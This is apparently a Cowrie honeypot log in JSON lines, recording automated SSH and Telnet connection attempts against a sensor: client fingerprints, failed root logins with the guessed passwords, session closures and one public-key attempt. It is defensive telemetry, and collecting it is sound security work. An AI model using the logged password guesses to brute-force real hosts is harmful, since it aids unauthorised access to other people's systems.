{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.400015Z","src_ip":"43.135.129.144","session":"1ea6d374d30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.473102Z","src_ip":"43.135.129.144","session":"1ea6d374d30f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5cf30e0e22a","protocol":"ssh","message":"New connection: 43.153.104.156:51606 (10.17.0.5:22) [session: e5cf30e0e22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.632592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.637727Z","src_ip":"43.153.104.156","session":"e5cf30e0e22a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.706646Z","src_ip":"43.153.104.156","session":"e5cf30e0e22a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2015","message":"login attempt [root/2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.787722Z","src_ip":"43.135.129.144","session":"1ea6d374d30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2025","message":"login attempt [root/Pass@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:01.015026Z","src_ip":"43.153.104.156","session":"e5cf30e0e22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:01.862520Z","src_ip":"43.135.129.144","session":"1ea6d374d30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:02.087587Z","src_ip":"43.153.104.156","session":"e5cf30e0e22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58642,"dst_ip":"10.17.0.5","dst_port":23,"session":"448c5dd8a198","protocol":"telnet","message":"New connection: 192.119.13.58:58642 (10.17.0.5:23) [session: 448c5dd8a198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:02.309782Z"}
{"eventid":"cowrie.session.closed","duration":48.44860219955444,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:04.579590Z","src_ip":"192.119.13.58","session":"b68582117a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26220345497131,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:05.258757Z","src_ip":"192.119.13.58","session":"1c3ffe691313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":42492,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5d3340bf213","protocol":"ssh","message":"New connection: 103.166.103.173:42492 (159.203.135.109:22) [session: f5d3340bf213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:05.487053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:05.493236Z","src_ip":"103.166.103.173","session":"f5d3340bf213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:05.740030Z","src_ip":"103.166.103.173","session":"f5d3340bf213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.27519965171814,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:06.204293Z","src_ip":"192.119.13.58","session":"79c12072538a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2big4you","message":"login attempt [root/2big4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:06.755574Z","src_ip":"103.166.103.173","session":"f5d3340bf213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.292752742767334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:06.781306Z","src_ip":"192.119.13.58","session":"8b78f8ed3baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.16890239715576,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:07.463398Z","src_ip":"192.119.13.58","session":"ed1aa431870d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:08.008618Z","src_ip":"103.166.103.173","session":"f5d3340bf213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56470,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f72a77290c","protocol":"telnet","message":"New connection: 192.119.13.58:56470 (10.17.0.5:23) [session: 40f72a77290c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:08.808360Z"}
{"eventid":"cowrie.session.closed","duration":40.38300609588623,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:08.897505Z","src_ip":"192.119.13.58","session":"0f3189fe08c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":57568,"dst_ip":"159.203.135.109","dst_port":22,"session":"462a830d74bd","protocol":"ssh","message":"New connection: 43.135.182.46:57568 (159.203.135.109:22) [session: 462a830d74bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:12.480954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:12.485609Z","src_ip":"43.135.182.46","session":"462a830d74bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.274452447891235,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:12.546417Z","src_ip":"192.119.13.58","session":"3c46ece7bab5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:12.554873Z","src_ip":"43.135.182.46","session":"462a830d74bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"athena","message":"login attempt [root/athena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:12.861319Z","src_ip":"43.135.182.46","session":"462a830d74bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:13.934130Z","src_ip":"43.135.182.46","session":"462a830d74bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55612,"dst_ip":"159.203.135.109","dst_port":22,"session":"e375df55518a","protocol":"ssh","message":"New connection: 185.236.22.41:55612 (159.203.135.109:22) [session: e375df55518a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:14.739782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:14.745877Z","src_ip":"185.236.22.41","session":"e375df55518a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:14.884692Z","src_ip":"185.236.22.41","session":"e375df55518a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"878787","message":"login attempt [root/878787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:15.313584Z","src_ip":"185.236.22.41","session":"e375df55518a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:16.443902Z","src_ip":"185.236.22.41","session":"e375df55518a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.991432666778564,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:19.857446Z","src_ip":"192.119.13.58","session":"21da4cb3ae79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":55110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8a5791f00bb","protocol":"ssh","message":"New connection: 94.26.106.201:55110 (10.17.0.5:22) [session: c8a5791f00bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:22.663349Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:22.668655Z","src_ip":"94.26.106.201","session":"c8a5791f00bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":55124,"dst_ip":"10.17.0.5","dst_port":22,"session":"05349b4a09aa","protocol":"ssh","message":"New connection: 94.26.106.201:55124 (10.17.0.5:22) [session: 05349b4a09aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:22.826671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:22.832346Z","src_ip":"94.26.106.201","session":"05349b4a09aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:22.916044Z","src_ip":"94.26.106.201","session":"05349b4a09aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:23.167608Z","src_ip":"94.26.106.201","session":"05349b4a09aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.381845235824585,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:26.003595Z","src_ip":"192.119.13.58","session":"0bd6593485b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42822,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a4c153deda3","protocol":"telnet","message":"New connection: 192.119.13.58:42822 (10.17.0.5:23) [session: 4a4c153deda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:26.852695Z"}
{"eventid":"cowrie.session.closed","duration":44.94829988479614,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:27.050425Z","src_ip":"192.119.13.58","session":"cb50a2d77a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56030,"dst_ip":"10.17.0.5","dst_port":23,"session":"454fe342898e","protocol":"telnet","message":"New connection: 192.119.13.58:56030 (10.17.0.5:23) [session: 454fe342898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.231748Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.241","src_port":12332,"dst_ip":"10.17.0.5","dst_port":22,"session":"911a1c18b91a","protocol":"ssh","message":"New connection: 148.113.221.241:12332 (10.17.0.5:22) [session: 911a1c18b91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.385154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.391756Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.419299Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:d6:b4:9e:95:e6:68:14:3e:b0:53:07:37:7e:1f:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIODDgOKduYBK2YmIcuwQI6Ht2/o65QmiM/Y+MILDL2qp","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 19:d6:b4:9e:95:e6:68:14:3e:b0:53:07:37:7e:1f:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.501499Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
